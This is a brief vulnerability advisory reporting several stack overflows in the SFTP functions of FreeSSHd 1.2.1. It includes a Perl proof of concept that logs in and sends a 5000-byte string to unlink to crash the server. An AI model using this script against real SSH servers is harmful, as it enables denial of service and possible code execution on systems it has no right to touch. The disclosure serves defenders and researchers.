FreeSSHd Multiple Remote Stack Overflow Vulnerabilities.

Version : 1.2.1

Advisory: http://www.bmgsec.com.au/advisory/42/

Discovered & written by:

r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

After Jeremy Brown reported similar buffer overflow vulnerabilities in

FreeSSHd I forgot about it, and stopped my research on the vulnerabilities.

Anyway just now I noticed that other vulnerable functions had not been

reported. So below is a small list, and a small proof of concept.

Note: All below functions overwrite EDI register.

open (edi)

unlink (edi)

mkdir (edi)

rmdir (edi)

stat (edi)

use Net::SSH2;

my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting…\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

print $payload;
my $payload = "A" x 5000;

my $sftp = $ssh2->sftp();
$sftp->unlink($payload);

print "[+] Sent";
$ssh2->disconnect;